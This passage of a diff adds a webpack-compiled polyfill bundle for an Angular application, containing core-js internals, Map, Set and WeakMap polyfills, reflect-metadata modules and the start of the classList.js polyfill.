../internals/uid */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js"); + +module.exports = function (key) { + return shared[key] || (shared[key] = uid(key)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js": +/*!*********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js ***! + \*********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var setGlobal = __webpack_require__(/*! ../internals/set-global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js"); +var SHARED = '__core-js_shared__'; +var store = global[SHARED] || setGlobal(SHARED, {}); + +(module.exports = function (key, value) { + return store[key] || (store[key] = value !== undefined ? value : {}); +})('versions', []).push({ + version: '3.0.1', + mode: __webpack_require__(/*! ../internals/is-pure */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js") ? 'pure' : 'global', + copyright: '© 2019 Denis Pushkarev (zloirock.ru)' +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var max = Math.max; +var min = Math.min; + +// Helper for a popular repeating case of the spec: +// Let integer be ? ToInteger(index). +// If integer < 0, let result be max((length + integer), 0); else let result be min(length, length). +module.exports = function (index, length) { + var integer = toInteger(index); + return integer < 0 ? max(integer + length, 0) : min(integer, length); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// toObject with fallback for non-array-like ES3 strings +var IndexedObject = __webpack_require__(/*! ../internals/indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); + +module.exports = function (it) { + return IndexedObject(requireObjectCoercible(it)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var ceil = Math.ceil; +var floor = Math.floor; + +// `ToInteger` abstract operation +// https://tc39.github.io/ecma262/#sec-tointeger +module.exports = function (argument) { + return isNaN(argument = +argument) ? 0 : (argument > 0 ? floor : ceil)(argument); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var min = Math.min; + +// `ToLength` abstract operation +// https://tc39.github.io/ecma262/#sec-tolength +module.exports = function (argument) { + return argument > 0 ? min(toInteger(argument), 0x1FFFFFFFFFFFFF) : 0; // 2 ** 53 - 1 == 9007199254740991 +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); + +// `ToObject` abstract operation +// https://tc39.github.io/ecma262/#sec-toobject +module.exports = function (argument) { + return Object(requireObjectCoercible(argument)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.1.1 ToPrimitive(input [, PreferredType]) +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +// instead of the ES6 spec version, we didn't implement @@toPrimitive case +// and the second argument - flag - preferred type is a string +module.exports = function (it, S) { + if (!isObject(it)) return it; + var fn, val; + if (S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; + if (typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it))) return val; + if (!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; + throw TypeError("Can't convert object to primitive value"); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js": +/*!******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js ***! + \******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var id = 0; +var postfix = Math.random(); + +module.exports = function (key) { + return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + postfix).toString(36)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-set-prototype-of-arguments.js": +/*!**************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-set-prototype-of-arguments.js ***! + \**************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); + +module.exports = function (O, proto) { + anObject(O); + if (!isObject(proto) && proto !== null) { + throw TypeError("Can't set " + String(proto) + ' as a prototype'); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var store = __webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('wks'); +var uid = __webpack_require__(/*! ../internals/uid */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js"); +var Symbol = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").Symbol; +var NATIVE_SYMBOL = __webpack_require__(/*! ../internals/native-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-symbol.js"); + +module.exports = function (name) { + return store[name] || (store[name] = NATIVE_SYMBOL && Symbol[name] + || (NATIVE_SYMBOL ? Symbol : uid)('Symbol.' + name)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.map.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.map.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// `Map` constructor +// https://tc39.github.io/ecma262/#sec-map-objects +module.exports = __webpack_require__(/*! ../internals/collection */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js")('Map', function (get) { + return function Map() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; +}, __webpack_require__(/*! ../internals/collection-strong */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-strong.js"), true); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.set.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.set.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// `Set` constructor +// https://tc39.github.io/ecma262/#sec-set-objects +module.exports = __webpack_require__(/*! ../internals/collection */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js")('Set', function (get) { + return function Set() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; +}, __webpack_require__(/*! ../internals/collection-strong */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-strong.js")); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.weak-map.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.weak-map.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var redefineAll = __webpack_require__(/*! ../internals/redefine-all */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js"); +var InternalMetadataModule = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js"); +var weak = __webpack_require__(/*! ../internals/collection-weak */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-weak.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var enforceIternalState = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js").enforce; +var NATIVE_WEAK_MAP = __webpack_require__(/*! ../internals/native-weak-map */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-weak-map.js"); +var IS_IE11 = !global.ActiveXObject && 'ActiveXObject' in global; +var isExtensible = Object.isExtensible; +var InternalWeakMap; + +var wrapper = function (get) { + return function WeakMap() { + return get(this, arguments.length > 0 ? arguments[0] : undefined); + }; +}; + +// `WeakMap` constructor +// https://tc39.github.io/ecma262/#sec-weakmap-constructor +var $WeakMap = module.exports = __webpack_require__(/*! ../internals/collection */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js")('WeakMap', wrapper, weak, true, true); + +// IE11 WeakMap frozen keys fix +// We can't use feature detection because it crash some old IE builds +// https://github.com/zloirock/core-js/issues/485 +if (NATIVE_WEAK_MAP && IS_IE11) { + InternalWeakMap = weak.getConstructor(wrapper, 'WeakMap', true); + InternalMetadataModule.REQUIRED = true; + var WeakMapPrototype = $WeakMap.prototype; + var nativeDelete = WeakMapPrototype['delete']; + var nativeHas = WeakMapPrototype.has; + var nativeGet = WeakMapPrototype.get; + var nativeSet = WeakMapPrototype.set; + redefineAll(WeakMapPrototype, { + 'delete': function (key) { + if (isObject(key) && !isExtensible(key)) { + var state = enforceIternalState(this); + if (!state.frozen) state.frozen = new InternalWeakMap(); + return nativeDelete.call(this, key) || state.frozen['delete'](key); + } return nativeDelete.call(this, key); + }, + has: function has(key) { + if (isObject(key) && !isExtensible(key)) { + var state = enforceIternalState(this); + if (!state.frozen) state.frozen = new InternalWeakMap(); + return nativeHas.call(this, key) || state.frozen.has(key); + } return nativeHas.call(this, key); + }, + get: function get(key) { + if (isObject(key) && !isExtensible(key)) { + var state = enforceIternalState(this); + if (!state.frozen) state.frozen = new InternalWeakMap(); + return nativeHas.call(this, key) ? nativeGet.call(this, key) : state.frozen.get(key); + } return nativeGet.call(this, key); + }, + set: function set(key, value) { + if (isObject(key) && !isExtensible(key)) { + var state = enforceIternalState(this); + if (!state.frozen) state.frozen = new InternalWeakMap(); + nativeHas.call(this, key) ? nativeSet.call(this, key, value) : state.frozen.set(key, value); + } else nativeSet.call(this, key, value); + return this; + } + }); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.define-metadata.js": +/*!*******************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.define-metadata.js ***! + \*******************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toMetadataKey = ReflectMetadataModule.toKey; +var ordinaryDefineOwnMetadata = ReflectMetadataModule.set; + +// `Reflect.defineMetadata` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + defineMetadata: function defineMetadata(metadataKey, metadataValue, target /* , targetKey */) { + var targetKey = arguments.length < 4 ? undefined : toMetadataKey(arguments[3]); + ordinaryDefineOwnMetadata(metadataKey, metadataValue, anObject(target), targetKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.delete-metadata.js": +/*!*******************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.delete-metadata.js ***! + \*******************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toMetadataKey = ReflectMetadataModule.toKey; +var getOrCreateMetadataMap = ReflectMetadataModule.getMap; +var store = ReflectMetadataModule.store; + +// `Reflect.deleteMetadata` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + deleteMetadata: function deleteMetadata(metadataKey, target /* , targetKey */) { + var targetKey = arguments.length < 3 ? undefined : toMetadataKey(arguments[2]); + var metadataMap = getOrCreateMetadataMap(anObject(target), targetKey, false); + if (metadataMap === undefined || !metadataMap['delete'](metadataKey)) return false; + if (metadataMap.size) return true; + var targetMetadata = store.get(target); + targetMetadata['delete'](targetKey); + return !!targetMetadata.size || store['delete'](target); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-metadata-keys.js": +/*!*********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-metadata-keys.js ***! + \*********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var Set = __webpack_require__(/*! ../modules/es.set */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.set.js"); +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var iterate = __webpack_require__(/*! ../internals/iterate */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js"); +var ordinaryOwnMetadataKeys = ReflectMetadataModule.keys; +var toMetadataKey = ReflectMetadataModule.toKey; + +var from = function (iter) { + var result = []; + iterate(iter, result.push, result); + return result; +}; + +var ordinaryMetadataKeys = function (O, P) { + var oKeys = ordinaryOwnMetadataKeys(O, P); + var parent = getPrototypeOf(O); + if (parent === null) return oKeys; + var pKeys = ordinaryMetadataKeys(parent, P); + return pKeys.length ? oKeys.length ? from(new Set(oKeys.concat(pKeys))) : pKeys : oKeys; +}; + +// `Reflect.getMetadataKeys` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + getMetadataKeys: function getMetadataKeys(target /* , targetKey */) { + var targetKey = arguments.length < 2 ? undefined : toMetadataKey(arguments[1]); + return ordinaryMetadataKeys(anObject(target), targetKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-metadata.js": +/*!****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-metadata.js ***! + \****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var ordinaryHasOwnMetadata = ReflectMetadataModule.has; +var ordinaryGetOwnMetadata = ReflectMetadataModule.get; +var toMetadataKey = ReflectMetadataModule.toKey; + +var ordinaryGetMetadata = function (MetadataKey, O, P) { + var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P); + if (hasOwn) return ordinaryGetOwnMetadata(MetadataKey, O, P); + var parent = getPrototypeOf(O); + return parent !== null ? ordinaryGetMetadata(MetadataKey, parent, P) : undefined; +}; + +// `Reflect.getMetadata` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + getMetadata: function getMetadata(metadataKey, target /* , targetKey */) { + var targetKey = arguments.length < 3 ? undefined : toMetadataKey(arguments[2]); + return ordinaryGetMetadata(metadataKey, anObject(target), targetKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-own-metadata-keys.js": +/*!*************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-own-metadata-keys.js ***! + \*************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var ordinaryOwnMetadataKeys = ReflectMetadataModule.keys; +var toMetadataKey = ReflectMetadataModule.toKey; + +// `Reflect.getOwnMetadataKeys` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + getOwnMetadataKeys: function getOwnMetadataKeys(target /* , targetKey */) { + var targetKey = arguments.length < 2 ? undefined : toMetadataKey(arguments[1]); + return ordinaryOwnMetadataKeys(anObject(target), targetKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-own-metadata.js": +/*!********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-own-metadata.js ***! + \********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var ordinaryGetOwnMetadata = ReflectMetadataModule.get; +var toMetadataKey = ReflectMetadataModule.toKey; + +// `Reflect.getOwnMetadata` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + getOwnMetadata: function getOwnMetadata(metadataKey, target /* , targetKey */) { + var targetKey = arguments.length < 3 ? undefined : toMetadataKey(arguments[2]); + return ordinaryGetOwnMetadata(metadataKey, anObject(target), targetKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.has-metadata.js": +/*!****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.has-metadata.js ***! + \****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var ordinaryHasOwnMetadata = ReflectMetadataModule.has; +var toMetadataKey = ReflectMetadataModule.toKey; + +var ordinaryHasMetadata = function (MetadataKey, O, P) { + var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P); + if (hasOwn) return true; + var parent = getPrototypeOf(O); + return parent !== null ? ordinaryHasMetadata(MetadataKey, parent, P) : false; +}; + +// `Reflect.hasMetadata` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + hasMetadata: function hasMetadata(metadataKey, target /* , targetKey */) { + var targetKey = arguments.length < 3 ? undefined : toMetadataKey(arguments[2]); + return ordinaryHasMetadata(metadataKey, anObject(target), targetKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.has-own-metadata.js": +/*!********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.has-own-metadata.js ***! + \********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var ordinaryHasOwnMetadata = ReflectMetadataModule.has; +var toMetadataKey = ReflectMetadataModule.toKey; + +// `Reflect.hasOwnMetadata` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + hasOwnMetadata: function hasOwnMetadata(metadataKey, target /* , targetKey */) { + var targetKey = arguments.length < 3 ? undefined : toMetadataKey(arguments[2]); + return ordinaryHasOwnMetadata(metadataKey, anObject(target), targetKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.metadata.js": +/*!************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.metadata.js ***! + \************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ReflectMetadataModule = __webpack_require__(/*! ../internals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toMetadataKey = ReflectMetadataModule.toKey; +var ordinaryDefineOwnMetadata = ReflectMetadataModule.set; + +// `Reflect.metadata` method +// https://github.com/rbuckton/reflect-metadata +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Reflect', stat: true }, { + metadata: function metadata(metadataKey, metadataValue) { + return function decorator(target, key) { + ordinaryDefineOwnMetadata(metadataKey, metadataValue, anObject(target), toMetadataKey(key)); + }; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/proposals/reflect-metadata.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/proposals/reflect-metadata.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/esnext.reflect.define-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.define-metadata.js"); +__webpack_require__(/*! ../modules/esnext.reflect.delete-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.delete-metadata.js"); +__webpack_require__(/*! ../modules/esnext.reflect.get-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-metadata.js"); +__webpack_require__(/*! ../modules/esnext.reflect.get-metadata-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-metadata-keys.js"); +__webpack_require__(/*! ../modules/esnext.reflect.get-own-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-own-metadata.js"); +__webpack_require__(/*! ../modules/esnext.reflect.get-own-metadata-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.get-own-metadata-keys.js"); +__webpack_require__(/*! ../modules/esnext.reflect.has-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.has-metadata.js"); +__webpack_require__(/*! ../modules/esnext.reflect.has-own-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.has-own-metadata.js"); +__webpack_require__(/*! ../modules/esnext.reflect.metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/esnext.reflect.metadata.js"); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/jit-polyfills.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/jit-polyfills.js ***! + \**************************************************************************************************/ +/*! no exports provided */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony import */ var core_js_proposals_reflect_metadata__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! core-js/proposals/reflect-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/proposals/reflect-metadata.js"); +/* harmony import */ var core_js_proposals_reflect_metadata__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(core_js_proposals_reflect_metadata__WEBPACK_IMPORTED_MODULE_0__); +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ + + + +/***/ }), + +/***/ "./node_modules/classlist.js/classList.js": +/*!************************************************!*\ + !*** ./node_modules/classlist.js/classList.js ***! + \************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* + * classList.js: Cross-browser full element.classList implementation. + * 1.1.20150312 + * + * By Eli Grey, http://eligrey.com + * License: Dedicated to the public domain. + * See https://github.com/eligrey/classList.js/blob/master/LICENSE.md + */ + +/*global self, document, DOMException */ + +/*! @source http://purl.eligrey.com/github/classList.js/blob/master/classList.js */ + +if ("document" in self) { + +// Full polyfill for browsers with no classList support +// Including IE < Edge missing SVGElement.classList +if (!("classList" in document.createElement("_")) + || document.createElementNS && !("classList" in document.createElementNS("http://www.w3.org/2000/svg","g"))) { + +(function (view) { + +"use strict"; + +if (!('Element' in view)) return; + +var + classListProp = "classList" + , protoProp = "prototype" + , elemCtrProto = view.Element[protoProp] + , objCtr = Object + , strTrim = String[protoProp].trim || function () { + return this.replace(/^\s+|\s+$/g, ""); + } + , arrIndexOf = Array[protoProp].indexOf || function (item) { + var + i = 0 + , len = this.length + ; + for (; i < len; i++) { + if (i in this && this[i] === item) { + return i; + } + } + return -1; + } + // Vendors: please allow content code to instantiate DOMExceptions + , 